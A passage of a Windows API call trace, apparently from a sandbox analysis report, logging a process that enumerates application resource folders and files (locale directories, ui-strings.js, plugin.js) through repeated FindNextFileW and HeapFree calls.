lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.412] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0270.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.412] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0270.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.412] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0270.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.413] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0270.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.413] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0270.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.413] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0270.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.413] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0270.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.554] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0270.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.813] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0270.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.962] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0271.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.156] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0271.384] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.384] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0271.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.513] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0271.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0271.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.852] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0271.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.853] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.853] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0271.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.853] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0271.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.854] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0271.854] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0271.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0271.854] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x52dfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0271.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.856] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0271.856] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0271.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0271.857] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pages-app", cAlternateFileName="PAGES-~1")) returned 1 [0271.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.857] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0271.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.860] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0271.860] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0271.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0271.860] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0271.860] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0271.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.860] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0271.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.861] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0271.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.861] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0271.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.862] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0271.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.862] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0271.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.862] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0271.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.862] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0271.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.863] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0271.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.863] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0271.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.863] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0271.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.863] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0271.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.863] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0271.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.864] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0271.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.864] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 